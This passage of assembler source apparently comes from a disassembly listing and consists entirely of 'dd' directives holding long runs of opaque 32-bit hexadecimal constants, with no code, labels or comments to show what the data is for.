		dd 42470033h, 7258E494h, 9690E900h, 349FAB6Ch, 3E218h
		dd 0F4DE27A8h, 41C17915h, 81E4973Ch, 9155844Bh,	81EC9DE1h
		dd 0A9E500BEh, 856D1E4Ah, 9003511h, 4932C8EDh, 1FFF5B98h
		dd 8052C755h, 0E5CD27FCh, 7D00A863h, 6D5D3780h,	7B39B9h
		dd 9C0CFB1Fh, 5776B405h, 0EB32D91Ch, 0C5CA2480h, 931390h
		dd 0DDC9EE1Dh, 105FAC6Dh, 0C3B28100h, 377CC85Ah, 0DF2100F9h
		dd 2D6D3EE9h, 0A10F201Dh, 6061FD75h, 0B6E88EDCh, 2EF56076h
		dd 8208089h, 24000DE0h,	0C15E7F50h, 0FB49E8Ch, 594C7E69h
		dd 0E03C7760h, 2A0FE178h, 80EAAFh, 92AAE8A0h, 68E60769h
		dd 40CD023Dh, 8126E338h, 96ACDD00h, 1C257494h, 3CB745Fh
		dd 6E38ADB6h, 93E003BBh, 420034F3h, 3F991B23h, 0A0A3E0h
		dd 7678C25Ah, 0EDCF4BF7h, 8A10BA1Dh, 0A20066E6h, 0B101C812h
		dd 6F0EAh, 2645E3F9h, 0D5EEBEDBh, 0B272B403h, 0F8033E95h
		dd 52E06Ch, 0AC23AE12h,	81C41E1Fh, 0EB8E1D02h, 0E02EFDF6h
		dd 0C3C8C7h, 6A2BAA73h,	4D994907h, 0CF8A6F00h, 4865E811h
		dd 0E55007F9h, 71BAE382h, 7FDEC447h, 2418F700h,	7DEB5C15h
		dd 1E9F2B2h, 0B7A0BD46h, 0FD29CB37h, 28C0D057h,	395D5001h
		dd 0E2DF2B1Fh, 49D7F8h,	0C5F65667h, 0FD26177Fh,	79535E00h
		dd 0A4B314CEh, 4D1F00DDh, 0B297C22h, 6A00F40Fh,	0C2DE761Dh
		dd 0E3C9A64h, 31AC2B98h, 500F7D80h, 0DA003584h,	22703009h
		dd 0C3CAB6h, 4913C177h,	58440662h, 153BB300h, 66502ED6h
		dd 0D8AA0061h, 299CF851h, 36006AC2h, 0D79A41B3h, 98329Dh
		dd 9EDC49A8h, 2FAA7D1h,	0BDC8BB00h, 5DE34FE9h, 928C0FE0h
		dd 0D347DE53h, 638860B0h, 6800BB7Dh, 0FE453D15h, 998625h
		dd 410BCBB7h, 6BA63CD3h, 80AAFB3Bh, 10EE33CFh, 0B8C4AEh
		dd 0E1693B97h, 475927FDh, 0C9130601h, 99B484D5h, 492830h
		dd 8595F7DEh, 794C5EF4h
		dd 0FB6D3C00h, 27EF9C7Ch, 0C47D00D8h, 1CF03D04h, 620037F8h
		dd 0E5BD6DD3h, 0E4C0E55h, 0F1A1EBE6h, 1AAC2640h, 0F5014595h
		dd 2B12CF67h, 7D600203h, 0B50700EBh, 7A46E27Fh,	0D500BB26h
		dd 0E745AA90h, 30A10EFh, 0A59CA168h, 1DE86BBDh,	0F900972Fh
		dd 22DDBC9h, 1CDEAEh, 6848242Bh, 1428383Bh, 0A84D2C00h
		dd 25FFF035h, 0FB0F0087h, 1A6EAAB4h, 8F00DFBAh,	4959C27Dh
		dd 0AF26A0h, 0B50EF0D7h, 5FEF9A09h, 0A1B83B00h,	6BD1C636h
		dd 794601C7h, 0A27B1DD4h, 0CBBF3002h, 2C95D226h, 0C5180Eh
		dd 0E587247h, 641D0359h, 0AA4BD684h, 60F597A7h,	0FCFA9857h
		dd 0E6E97100h, 914D1BC4h, 52BB004Eh, 1065CA76h,	1301BC89h
		dd 0CF986D0Dh, 2C8203Fh, 0B5F20056h, 0F0283252h, 0DB00EA9Bh
		dd 2ECDE7A5h, 34251Dh, 9F70D93Ch, 2A11E019h, 55719600h
		dd 681EDD6Eh, 8A283AA3h, 91D39B00h, 3E3C30CDh, 960AEE01h
		dd 0F9DE71D6h, 0D1DE70h, 588BE635h, 517D8843h, 55224000h
		dd 9777D326h, 2AE20066h, 0F29DA3B2h, 0EE76CDFFh, 8C2F5007h
		dd 812EC1FBh, 9C25BDD8h, 9A86E0FAh, 0CAAA00E2h,	9EEE2034h
		dd 37006248h, 3F02E0BBh, 926DC0h, 222EC8D7h, 0E7CF683Eh
		dd 0C1002D79h, 1860810Dh, 76CEAD86h, 0FC400719h, 40E0B080h
		dd 0B131EF16h, 0F5FE9D0Eh, 0B2E26071h, 0E8937509h, 0C78007F7h
		dd 0E06F1DCCh, 317AF0CDh, 1FE2DE09h, 510680A5h,	0B07EFh
		dd 72DC248Ah, 0DBC04CFh, 0C7526000h, 356DE8D6h,	0B2E41FE5h
		dd 23D0808Ah, 0ABDF03C8h, 0E7BA7412h, 17E98C00h, 3F1D4AC2h
		dd 100002E2h, 28D58803h, 0BC005145h, 41C5C08Ch,	0E13B0Ah
		dd 0A952B7A6h, 0B888FB2Ah, 4DDB2C17h, 0C5DC5D00h, 0EE9EEAFh
		dd 923FFDA1h, 0B35A3360h, 0C600898Ch, 0F35D49F0h, 0DE526Ah
		dd 5EAC8E44h, 5B7B3676h, 0F013A900h, 0EAF4375Ah, 0CF4526EFh
		dd 9E7F0381h, 3689EC73h, 11ABD438h, 149083Fh, 21BF325h
		dd 8BF0860Fh, 27D400CAh, 37E4AA2Eh, 49004AABh, 7095FFD7h
		dd 0DBF472h, 0AFDEAC10h, 84D4B473h, 311DEC03h, 0D871BCABh
		dd 3FC45FBh, 0E9B21B34h, 86E0149Fh, 43006A8Bh, 79EA4963h
		dd 3D4B6467h, 7082515Ch, 6E270976h, 0FC839EE0h,	15E0F900h
		dd 7F32862Eh, 4FA30051h, 502F68AEh, 5FEAB581h, 0E8E53900h
		dd 586FB3BDh, 386100EAh, 341BC00Dh, 150186E6h, 0BE2A2BC2h
		dd 4DE4A45Ch, 3E5D07D4h, 14681Ah, 71CD2CF0h, 72A11900h
		dd 8EB52E7Fh, 14B0057h,	0D5F117C2h, 95007411h, 5EB3CB9Ah
		dd 4293FEh, 6643BAC5h, 73C22A1Bh, 7D02EDE6h, 2B9CD8DAh
		dd 83D940BEh, 0B4E6BBh,	2188051Dh, 3C4FBA7Ah, 57DD3Ah
		dd 0A7740623h, 0B2BC44h, 65BFEE36h, 8020ED3Fh, 915E0817h
		dd 0DFA20E07h, 0CC673AC0h, 8395004Ch, 315AE09Ah, 0E1E08A42h
		dd 0E6003378h, 1F11FDC0h, 7923AD6Eh, 10DD388Ch,	0F969A1Ch
		dd 7E00284h, 0E4A070CEh, 7300ADF0h, 0E0F857Eh, 0CF3B14h
		dd 40E2E524h, 1C93A0EAh, 0AA3CC40Eh, 7B21233Ah,	0FFB8A8C1h
		dd 5A7500AEh, 98CD53Eh,	0A7B6777h, 4EF2B400h, 56E0390Eh
		dd 4D0C1FFEh, 0EAE30005h, 7F37C062h, 0EE3A2B07h, 27E0E2F1h
		dd 1C240A76h, 4368B65Ah, 703FF90Dh, 7E265C0h, 9BF6E100h
		dd 18CFC83Eh, 21D1003Ch, 399DD411h, 0B10038D8h,	0AD586D88h
		dd 27BBD91h, 0DCB4F9D2h, 0B1C0FCD4h, 290E5476h,	822189h
		dd 8A1A28C4h, 3CA261Bh,	0C1B6012Eh, 0F417182Ch,	6A00B2F1h
		dd 1230BB8h, 0CEF492h, 82A34BC6h, 0D6B5EA25h, 9F681626h
		dd 0D1008B12h, 440AAD17h, 93C400D2h, 0A4BB12AFh, 3A18DE9Ch
		dd 2D46D12Ah, 0BFFB1F94h, 0CBF30049h, 0EB48A9EDh, 27A57E00h
		dd 0CAE421B3h, 0F2400C8h, 6285C52Ch, 2303269Fh,	58463834h
		dd 0B6CDF898h, 4F5F00D6h, 0FF719365h, 0A601A8CFh, 47B85EBFh
		dd 27F09AD9h, 57CC00C2h, 0ED33E325h, 4200C7EEh,	79C954DAh
		dd 2623609Eh, 3ABC7Eh, 0E65D0B71h, 0AF489081h, 59FC000Fh
		dd 767B62F3h, 4E3F641h,	0D2E5AA98h, 0B8C3804Fh,	8F00A854h
		dd 0EBA25FACh, 0C02A85C9h, 6E9355B0h, 8D00A36Bh, 0F2E48F4Eh
		dd 7737A38h, 1359ADA8h,	5BE5008Bh, 0C7E27206h, 0D62BAF00h
		dd 0C6F442F1h, 89230721h, 0D0643A38h, 6EB2BD2Ah, 0DBE06D00h
		dd 0F71847D5h, 0E0A37A4Ah, 9B851CE3h, 0B8A980BDh, 0CB92C9D2h
		dd 0B12F413h, 8C241200h, 87AB3Eh, 93477F85h, 0E5E198B5h
		dd 0A51C3900h, 2B8ACC68h, 7F810080h, 9502D8D1h,	750052DCh
		dd 11BFBD26h, 0ECDA2D67h, 4BEAF0h, 9CAF3522h, 4DFDC6DBh
		dd 689B0803h, 0F01F9233h, 641B06h, 89D2BB35h, 750D43C7h
		dd 0A2FA3600h, 20A1ACDEh, 351200C2h, 0D1272426h, 2F00AE62h
		dd 0F7134AE5h, 0E2D6D9C8h, 92E8E0h, 420C4034h, 0A24B5B23h
		dd 311CB700h, 97072F7Bh, 21F400EEh, 0CE2AC75Dh,	40E8817h
		dd 0A0B0D180h, 0A4F5A1E2h, 69C40205h, 1ED6A57Bh, 5E677EC0h
		dd 3C359400h, 15724FEAh, 0A1E700C8h, 184B9B40h,	3D00E26Dh
		dd 0EE998F58h, 1C554A04h, 0C04DEBC8h, 7B9C4236h, 0F3001519h
		dd 109E1E24h, 1F4609CDh, 0C11656EBh, 6E718FD9h,	0EA4EECC6h
		dd 576DA500h, 0EDB285CDh, 0F35B7B52h, 769D7D0h,	3CA92110h
		dd 5AF20B4h, 8048419Fh,	1CAC01FBh, 289D09F2h, 24BAA60h
		dd 52486538h, 94605EFCh, 45004168h, 0F4C3BC83h,	0B30A75Ch
		dd 2DF9F37Bh, 897AB180h, 0C43A338Dh, 0BED0804Ch, 0D69DB857h
		dd 0BCED007Fh, 9AF4E929h, 71003C1Eh, 2A2D3A79h,	0B5E3E1Ah
		dd 9E89C453h, 0E0010C80h, 0B548C566h, 785A00B8h, 0BBECA143h
		dd 908DF009h, 3CDB136Ah, 0D5CE0050h, 4C3A7204h,	9FCE8B00h
		dd 0C6412037h, 663B0026h, 0E9917C0Ah, 0CA07F934h, 98BFA229h
		dd 0B0C1C523h, 5D4617h,	0F2F07FE2h, 43AA2B66h, 4E18590Fh
		dd 84CC80DBh, 3EEF8392h, 0B28EC0A5h, 0D9A1A67Bh, 0F8C70C72h
		dd 7700DE57h, 0ECB9413Eh, 3B90C2h, 0D79E1F02h, 0ED35CC50h
		dd 0F0B04E0Fh, 0FBA50071h, 1C8C0283h, 0C07FBC34h, 0D8646C9Fh
		dd 0E0004986h, 0F8EE6BB0h, 40DA9ACh, 30B80B1Bh,	305687A0h
		dd 0FA66BACAh, 636FE800h, 0C6353B91h, 56670098h, 0F0D2E3E4h
		dd 94767C37h, 9650A90Bh, 9A848195h, 0AA30862Ah,	0BF5F3D83h
		dd 8402D80h, 625497B1h,	0EBE3D200h, 81482E6Bh, 515600C4h
		dd 0FBBA61DDh, 76003565h, 6B8278EFh, 167A8B03h,	16B18DF2h
		dd 3D1DA4h, 7962446Fh, 277A578Ah, 0F8096003h, 0C8F1DFDBh
		dd 4CD4B1AEh, 0FF00FFCCh, 3AC5B31Eh, 943AD76Eh,	0BEAF017Eh
		dd 0F635FEEDh, 0A491C8h, 0B1CE2923h, 0AC8DE70Fh, 0EFF3E80Fh
		dd 2A41606Ch, 20BB87h, 0A2E5957Ah, 0CC8C69AFh, 0A7AE7304h
		dd 7380F4F7h, 925BDCh, 0BE0C3653h, 0E3221E41h, 0B57740F4h
		dd 0EF0BB00h, 43250DC7h, 0B0CBF6B1h, 0C80A00AAh, 0A1DD0705h
		dd 113C2081h, 4E3C001Ah, 0D979D663h, 99890066h,	308860DAh
		dd 1C0735D0h, 0FB7B6F9h, 7CEB42A0h, 3F190087h, 0FBB8E827h
		dd 6CF0B954h, 0C7212003h, 0F0CBDAF9h, 1E82851Eh, 0DD3EF4D8h
		dd 3F7F8007h, 0C1ADAB69h, 11C4741Dh, 0DF89280h,	38412Ch
		dd 21D96483h, 0C0CAA44Ch, 251E1300h, 2CC573Dh, 56340132h
		dd 87E1F896h, 0D380E005h, 0AC476C0Fh, 0C64B4052h, 1C8B598Ah
		dd 40738CFEh, 13AA45B7h, 3C1C91EFh, 925D8D43h, 0FAB55200h
		dd 2D7D0h, 0E31994F8h, 9C908C34h, 323C6700h, 9359D9E9h
		dd 18EC00D7h, 39256894h
		dd 4900538Dh, 9CA54D77h, 76E4144Eh, 796F00E9h, 0D140EB5Eh
		dd 260E389Bh, 0C1131C74h, 67B11246h, 712D4730h,	5ADF00BCh
		dd 0B5CBF9E7h, 0A690AC29h, 92BE1802h, 602ED6CDh, 0D801F8h
		dd 7FAFDEB9h, 0C7684759h, 4D0BF607h, 5FA0C555h,	5AB320h
		dd 124BFB07h, 9AEDFE9Eh, 94061D00h, 0DC33650Dh,	36EC16A9h
		dd 0BF2004E2h, 0DB0DC0B9h, 39001D63h, 6E21AFEEh, 7BA0030Bh
		dd 19A6000Dh, 825EE452h, 0E900E3E8h, 91E64CDDh,	0F81A9010h
		dd 354800EAh, 70A8A2CFh, 0AA003004h, 7E131BDBh,	941A52h
		dd 1EDA0D23h, 6AEA9261h, 7F5B3E00h, 802C58A6h, 0B68903E6h
		dd 0DF1C96D5h, 9390D288h, 56E37801h, 0E064CBA9h, 162484F8h
		dd 662FDBh, 4994EB11h, 2C032EECh, 2A930F60h, 0A582C85Fh
		dd 3639004Bh, 0EF216C68h, 0D0F781E9h, 7AB8A4F0h, 84518903h
		dd 0D02D8FD3h, 91F1DDh,	6A0E53D9h, 0B3027116h, 5F256603h
		dd 0F0406FB0h, 0B5E7BCh, 39F63AE4h, 0F2DB5E02h,	786B7C00h
		dd 498D82C8h, 9BF5000Ah, 0AA9DB724h, 2F009825h,	0BCCB53A5h
		dd 2CD834h, 8FAEE775h, 2BA3AD47h, 0DE202900h, 22950D8Ch
		dd 0A2E069h, 811B70CDh,	5D5ADD34h, 0CA909F00h, 440FE2ABh
		dd 0A577D3h, 0E3BE921Fh, 73E630D6h, 454DE00h, 0B17CE145h
		dd 0C1DC00D0h, 0FD7227BDh, 7EF0CB9Ah, 0F2E2FCE0h, 285E4400h
		dd 0F992E3C8h, 846B00D7h, 0DF658848h, 1E00EF8Dh, 7F474FAEh
		dd 544D0Fh, 0AD1521CEh,	19794ACAh, 45A7CC00h, 742A63F9h
		dd 27EB3D37h, 990F3B00h, 7BD55C91h, 2133E3Dh, 0D2DD2A4Ah
		dd 0A8974320h, 18A316h,	78308306h, 72E8518Ch, 0E280AB00h
		dd 0CA971C36h, 0F3F900BDh, 0E7A5C8BBh, 7C2CC498h, 0F0008BD0h
		dd 88A97EBFh, 51960748h, 0C0A33E6Fh, 937F2DE6h,	0B0252E00h
		dd 0A1F19EC4h, 0FD8D00F4h, 0ADE9A73Eh, 0C600C582h, 35C1767Fh
		dd 4B0D7Ch, 3624EE37h, 13C9035Ch, 0DB0FE470h, 80992CB5h
		dd 0FA26BBC7h, 0F8AA1CEDh, 0D20B80BDh, 1A6422DEh, 4495AC00h
		dd 0F640108Eh, 0A95A008Ah, 660BDADCh, 2C0716DBh, 513705Ch
		dd 0CA06CB60h, 0B8E9007Fh, 59210E50h, 847EF5D0h, 2D8E0300h
		dd 6F2FC10Fh, 5685004Eh, 7D92CDB6h, 0C0FCEF4Bh,	2C3BF5EAh
		dd 0B352000Fh, 0C63FFB8Fh, 0D19F0003h, 73850476h, 0C700ED3Eh
		dd 0ACFFA2E1h, 0CDE025h, 10BB8C23h, 4D6B9E64h, 12764A00h
		dd 88322797h, 5F731787h, 8A3A00FCh, 9B1B2DCDh, 5B1DE600h
		dd 4B5C236h, 9C8F007Fh,	4EDB4A68h, 0EA002E88h, 0D92A233Dh
		dd 69CD41h, 0AF7CFB99h,	0FEE9E6FDh, 0BB00FFE8h,	0CCD15668h
		dd 0B88F24DCh, 67F1D49h, 151791h, 40A3705Eh, 0D500E1FAh
		dd 83376454h, 1D21E601h, 808F3385h, 7E3ACF96h, 640008FFh
		dd 4F3EA1C2h, 0C45F35h,	7D9D0330h, 8AD16231h, 12AE3C00h
		dd 75F35B07h, 7618009Ch, 775A44B8h, 0C721062h, 6C0A1100h
		dd 6E882E61h, 0E8BF1C29h, 96264325h, 6698EA38h,	0B5031070h
		dd 844EC2E7h, 0B335882Dh, 0DF5803ADh, 0A7A126F2h, 46993E0h
		dd 0EE1DBE00h, 0B2AC744Ah, 57820098h, 62DE769Ch, 0E800BA2Ch
		dd 0A438E1B3h, 1CAC5C2Dh, 3C7A6E4h, 0CBFC5DAAh,	71C461A0h
		dd 0FF7AE000h, 642A5873h, 4A040168h, 62069483h,	828EF0CEh
		dd 0AE0EDF02h, 60384DA6h, 0DA88EBh, 0F323656Fh,	5BF2B29Fh
		dd 0C699330Fh, 3A9860F9h, 0B62CBFh, 83B5E36Fh, 206D262Eh
		dd 4A821C1Dh, 0C9E87A40h, 626B98h, 4818F6C8h, 0B2807034h
		dd 1A383F00h, 544BD186h, 0EE0C030h, 0CB55C03Ch,	0CA932900h
		dd 90A64C63h, 0E2B74D1h, 743A2111h, 0FD40839Ch,	0F2F0D305h
		dd 0B38E4F3h, 7B06003Bh, 0FC732545h, 0B80300C9h, 37CABE75h
		dd 59006C3Ah, 9BB6381Bh, 98CFC51Eh, 97503E57h, 4F0DC38Bh
		dd 0A4E0E80Eh, 23BD11F5h, 0A6225100h, 9B2EB180h, 96AB00B9h
		dd 333647EBh, 5D00F9B8h, 0FC53C65Bh, 0B6C41Dh, 8BD88131h
		dd 0DBFD6C83h, 2E4BDC00h, 4A9F9C39h, 6D92070Eh,	672519D5h
		dd 509A307Bh, 0EB008CF5h, 10DF1DCFh, 6EA30Dh, 0A5DDCAD2h
		dd 55EE6684h, 5C47E603h, 0E81B6711h, 0F2D3084Bh, 9B1E01E1h
		dd 0C83E92B4h, 0C6C0D803h, 0E9A8AD00h, 0BAB8363h, 8F3B009Eh
		dd 964C2B6Eh, 58005C26h, 8BF4C454h, 84B27Bh, 0AC8AD319h
		dd 8CA3598Eh, 2B62F8C0h, 90B33AF9h, 60DC7723h, 0E355A83h
		dd 4200018Ch, 500AEAB0h, 1F28CA12h, 40BA3B88h, 8D3E4FA5h
		dd 0B40034ABh, 4BF853A9h, 7DF1C3h, 8F73A2E4h, 0CC5EFAACh
		dd 131D7507h, 0FB406508h, 0D499C1h, 4622B05Ch, 0CAEFD1E3h
		dd 0FE45B603h, 0D835A5BDh, 1C6E152Dh, 6839FFh, 0D95D3107h
		dd 5900A7FCh, 0C07E18A0h, 6E0930h, 0F7A94572h, 23ED140Bh
		dd 49702600h, 1D5C48CBh, 0DC7D88h, 0A8C92D25h, 0A608B62Eh
		dd 23975F00h, 0D0F61D3Fh, 0ED343E40h, 49BC9480h, 36CF5809h
		dd 215F5B03h, 0D0846E3Ch, 1567B8h, 4AFC1AF9h, 64CF37Eh
		dd 4F572500h, 0C24BDF36h, 0D42900F5h, 124DD0E3h, 0C1582A0Dh
		dd 7FB80315h, 0AAA1866Eh, 8983C057h, 48AA00A6h,	0FBFDCA66h
		dd 10003499h, 8D55A2C7h, 48FC150Dh, 7F0396h, 69F37846h
		dd 3FE3067Ch, 0CD0F7B02h, 416CFE28h, 0E7C8FAA3h, 30EC00E9h
		dd 68EF0811h, 0F2068547h, 75720C25h, 97DA00C0h,	0E7E95A5Bh
		dd 9671957Bh, 0EC836900h, 0F98829Bh, 9E5002Ch, 6D975850h
		dd 9F00D979h, 40DA66EAh, 522AD04h, 0AB9D71F4h, 850DC00Ah
		dd 1E00301Bh, 122C7AA9h, 682F1Ch, 6FE83297h, 0F7A78D20h
		dd 610073E4h, 35B8541h,	5982F1h, 0ED2E3025h, 0FA39BF33h
		dd 0CEBE3Bh, 915C4BEAh,	84F269h, 2B8D3CC8h, 0DC168928h
		dd 5BE93900h, 7715D6C5h, 0A2F40069h, 0DAFF099Fh, 0EB00D28Ch
		dd 4D21FDEEh, 0CDA875h,	0DD801F6Eh, 5F7647C4h, 3E2E3203h
		dd 0D8BCBA67h, 361030h,	3390F1A1h, 0FAE0DC29h, 41E77C00h
		dd 2BFB79F6h, 538100DAh, 92D027B2h, 0D8174EF2h,	3A01A0F9h
		dd 0CDFC46E5h, 0F19E30h, 8BB7C2FAh, 3E74186Eh, 0B2F958h
		dd 0F0DB5C06h, 9753A8h,	0ADE73444h, 0BC7BEE51h,	900094F6h
		dd 18D26FC6h, 0EA991E89h, 0A1B60F93h, 0BB032871h, 0C9F8ADE8h
		dd 0BF7E56BEh, 8A456600h, 0EFC8CED6h, 1CB9E826h, 0C0FA0146h
		dd 90740848h, 0B6B8E927h, 4B2BF61Eh, 76345FC2h,	0FA21E0D8h
		dd 846100C3h, 199F010Ch, 0DD1FF091h, 26879666h,	4A90DAD5h
		dd 280A28Ch, 0A03C2706h, 0C406858h, 83CE762h, 347600FCh
		dd 37EC9629h, 0CEE81CD2h, 5C8F809Ch, 0F66742B3h, 2DF06501h
		dd 432A941Fh, 1ACCF4h, 9DBF7A4Bh, 85E3B017h, 53DF3800h
		dd 0FF4FDE6Dh, 0B30B0182h, 69F09DE7h, 0FD33E497h, 437C3D00h
		dd 4BC41146h, 0F77800B4h, 0A87B4525h, 4E7C220Dh, 1495D300h
		dd 8B2D2F43h, 1EE3000Ch, 4FFF1238h, 0CC0F9267h,	2087CF2Bh
		dd 99A02795h, 0BEE0990h, 0D989840Ah, 49406D0Eh,	0DB6EEC12h
		dd 0C26CA700h, 156902BAh, 0F60C1FE7h, 47298E9Bh, 2BF8001Fh
		dd 3104FA68h, 52F34D00h, 0D03E10E1h, 8AB93DC1h,	353FBB8Bh
		dd 72FB7480h, 81075FB8h, 42A26E46h, 0EB9F9050h,	5DD903F9h
		dd 0DC26348Dh, 1BAB23A8h, 807B2207h, 0C3061C4h,	2B91FE8h
		dd 9EDE25E7h, 2B407997h, 0CE072AADh, 0A7213461h, 60FCD642h
		dd 0A319B6h, 0B097665h,	4535903Ch, 1289EF00h, 1B73618Dh
		dd 148F26C0h, 0CF63076Fh, 66453060h, 4CE849B4h,	37B0E202h
		dd 0C34F29FEh, 553A801Ah
		dd 0BC12006Bh, 90AFCB61h, 9200E3D0h, 0A01C258Ch, 1FEA34E0h
		dd 0C0D7F594h, 4EBD1B8h, 1A015C32h, 62827B3Bh, 0E2F46C34h
		dd 3A198E0h, 0F0D738C6h, 4CD867A6h, 0F60002C0h,	0CEEC5AA2h
		dd 0F05B0D9Eh, 1CB0A3h,	556F5EBBh, 92FF7166h, 0F4A6B400h
		dd 63D373FEh, 67E0010h,	0DE29F983h, 0C4003CA3h,	3A2A0CFCh
		dd 0C8BFEEh, 0BC9A0A32h, 59E3E2ACh, 0ED381F00h,	0B51CF506h
		dd 92EB076Ah, 40DB90BAh, 0C4584ADFh, 50EED500h,	64F1ACD3h
		dd 0CE3263Bh, 46A40BCEh, 0C48C8C05h, 7E768382h,	0D8716D0h
		dd 75D4400h, 0F28F74EEh, 244B0E70h, 58A04533h, 7A82A2C8h
		dd 0ABA53700h, 8E35FDF1h, 0ED3100D5h, 608C19C9h, 0DF002321h
		dd 0DB866A1Ch, 0A769A2h, 0F4899E42h, 1377CBFFh,	685FE700h
		dd 6CA3C475h, 41BB0093h, 890C7AF3h, 0D53B7B96h,	0B1980A0h
		dd 736A12BDh, 0A9E700E0h, 384F1503h, 0FC007767h, 0CB7714Ch
		dd 92D284h, 9D51B2BDh, 48F2ABBEh, 0B3EC447Ch, 189F2638h
		dd 51D2ADF5h, 725F452h,	0FB05E698h, 0AA6F405Fh,	0C200481Ah
		dd 3EAC6312h, 4EB84Ch, 0D5FD5ABEh, 54D61CEFh, 0FF00B979h
		dd 1EF06629h, 1ED3C91h,	130FA65Bh, 0E0705703h, 5100BA39h
		dd 0D3AAB228h, 1E210118h, 8774CC35h, 70F1388Eh,	6F12BF1Ah
		dd 0E44C430Bh, 6C8100ECh, 4E76F0h, 501C0A56h, 0BAD76BBDh
		dd 0CBE2F300h, 16A93ED4h, 0B4DA1C68h, 0FE8901DDh, 6104DF0Ah
		dd 0BD9B60F1h, 277F3800h, 90A0BA28h, 0DC1E003Ch, 0CE15228Fh
		dd 660069DAh, 0E01D5156h, 754A2CA1h, 960D3E1Eh,	71143200h
		dd 0B76453ABh, 0AA42F300h, 5A8C3751h, 0AF613C4Eh, 8F241380h
		dd 96D501Fh, 6687CE02h,	0C0255893h, 0C79EE2h, 0A0E51CABh
		dd 0E7D096EBh, 66342807h, 5110FD2Eh, 0F6A5F3h, 1B8FBF54h
		dd 38192B08h, 0A701E190h, 264E5D99h, 4F20736Dh,	0D948339Ah
		dd 0D2A0C736h, 4B0B272Ah, 8A4C0356h, 720E9D08h,	5AD8A01Ch
		dd 1ECD97h, 124ABA79h, 2C772637h, 0AE0A3F0Fh, 0C84CC024h
		dd 0BEC52h, 112DB2BCh, 0D19CFBD2h, 96126601h, 0BE91A9D3h
		dd 1DD7ABF0h, 8365E922h, 9E9BC651h, 727C21D8h, 32316700h
		dd 0C2B03A96h, 53971759h, 4A6E005Fh, 55953986h,	0B6DF9C07h
		dd 2AF0C098h, 0AB17ACh,	9A90CA3h, 0B857A7F0h, 565B1300h
		dd 0AE41C285h, 6773005Ah, 0FEE52D0Eh, 9E032A1Dh, 0E101FF68h
		dd 2916B196h, 0EBD930h,	739419EAh, 89F89171h, 6B5D6D00h
		dd 0AC17B033h, 796F00FEh, 387566D8h, 312824Ch, 0ED1C212Ch
		dd 9B815540h, 48EB32h, 7825CB1Dh, 8D345E39h, 18874900h
		dd 0FCE5B25Dh, 0A153008Fh, 0DE692A85h, 0F600DBE9h, 1B86738Ah
		dd 0C58E48h, 0FF6D6698h, 589FDCBEh, 0D98FFA00h,	2B9D8A17h
		dd 0AA950060h, 7CCD162Eh, 25000701h, 0CAD4B543h, 5CA72Ch
		dd 3B17FF9Bh, 69F748DCh, 82E5BC38h, 52CB64BEh, 0D88DC35Eh
		dd 0FDD7BD9h, 40A45DF0h, 99097320h, 5E038A39h, 91B74DEDh
		dd 9A69B8BBh, 0E1FC0F1Ah, 0AA60AB82h, 835EE0AFh, 0E5026773h
		dd 89290A50h, 2097E0E8h, 307AE4h, 8CC79FB8h, 4E3CAE7Ch
		dd 5B78550Fh, 0B2CF605Ah, 325806Eh, 0DDED3EECh,	30B09C6Bh
		dd 0B17A2A22h, 89814E00h, 86A405CFh, 9A16148Ah,	8700DB31h
		dd 4C270AA2h, 0A10066A0h, 3780EAAEh, 3B855062h,	0AD805C6Dh
		dd 0CB9E3C5Eh, 661C79F7h, 748077C6h, 8DD4DEF5h,	675E1CC3h
		dd 0F2C7C0C1h, 0F98A64B9h, 8334013Bh, 0F5AE91FCh, 4D85D0A2h
		dd 8EEACh, 744931A4h, 66E0B880h, 9B382900h, 0B116025Ch
		dd 4EFE0042h, 3908663h,	290F2365h, 20E32A45h, 0AA52534Dh
		dd 0EA2E7CB7h, 7117567h, 46CF9C19h, 883440F8h, 921844AAh
		dd 3880890Bh, 27E0018h,	7AFC59Bh, 0B8F472D2h, 0B0876D00h
		dd 3558A8B5h, 628E01BEh, 97D192E5h, 8DDDC027h, 0B3FA1F00h
		dd 2FD3F00Dh, 6487009Bh, 0D045AE07h, 8C002738h,	0CCFE4811h
		dd 3C0C10F5h, 775C9216h, 0D6EA9500h, 5B28B8CDh,	729FD903h
		dd 0F7EFE84Eh, 1BD7E03Eh, 90A565EEh, 878600DEh,	83C8E035h
		dd 9F1D4585h, 2DC369EAh, 9F6B896Ch, 2BCAABD0h, 0AAF500C0h
		dd 0B6AD018Fh, 0A67ED67Eh, 82700C00h, 18864294h, 1EAFED0h
		dd 0F2589983h, 0F0A57FD6h, 0EB0128C3h, 0D26616D7h, 4AC8836Ch
		dd 0A01700F6h, 5B9275DDh, 0A201B0B7h, 388ACB0Bh, 25FCFD51h
		dd 65EFA007h, 0A30C0033h, 747CA8B2h, 8EE06619h,	9526FE07h
		dd 4EF0BA42h, 0A7E0Eh, 97C99A6Eh, 7C30F0C2h, 5EDF0302h
		dd 40FF99DCh, 2E81C335h, 3BFC8CFCh, 4473B13h, 800162BFh
		dd 90C0B191h, 482AFE00h, 0D39A0C1Ah, 153901ECh,	4351A478h
		dd 0BEE870BBh, 490BD700h, 8ABD5FD0h, 94E600DCh,	8DC07CAEh
		dd 0E24A54EBh, 0F22890A0h, 316C03F4h, 0B470217Fh, 20E6009Fh
		dd 2600A547h, 0B89911E9h, 49115h, 0B523489Dh, 0CB0256FCh
		dd 3A8FD200h, 1906EF2Dh, 0D54C0007h, 0B18E118Bh, 6F005432h
		dd 29608BFh, 1F2DC712h,	0E6D9DCC8h, 430B0051h, 0E62C483h
		dd 0CC7B6E00h, 71923C59h, 0A20400F5h, 6DE398D6h, 3B0135BFh
		dd 89119EFh, 34C01680h,	7B3200B2h, 0A52B6D68h, 7D00EECBh
		dd 421EEC5Dh, 63C457Fh,	0C50389D1h, 500002E9h, 63A50986h
		dd 0E09304DEh, 1D9B1D88h, 5FF303E7h, 71D8DB52h,	25005443h
		dd 0B10DCF83h, 3CD13B7h, 7A58612Dh, 0E2F098E6h,	697F0AC4h
		dd 2E17EA7Eh, 780FA305h, 9A98203Ch, 457989h, 0E188BE9Eh
		dd 0B601A8BAh, 4A2E321Fh, 43371EC0h, 0AEEEF7h, 8C7EC8D8h
		dd 1F50A8Eh, 0FB263C1Dh, 1662DB40h, 0ADA6CCh, 0FE45F69Bh
		dd 0AB94C698h, 617FE100h, 0F81FCAF2h, 0B447004Ch, 47366B2h
		dd 0DCE73F26h, 0D600DF10h, 0DE90C871h, 1CFAB405h, 0F0B572Eh
		dd 9F60213Fh, 45084727h, 4943000h, 32D1D2C0h, 0FFB71D13h
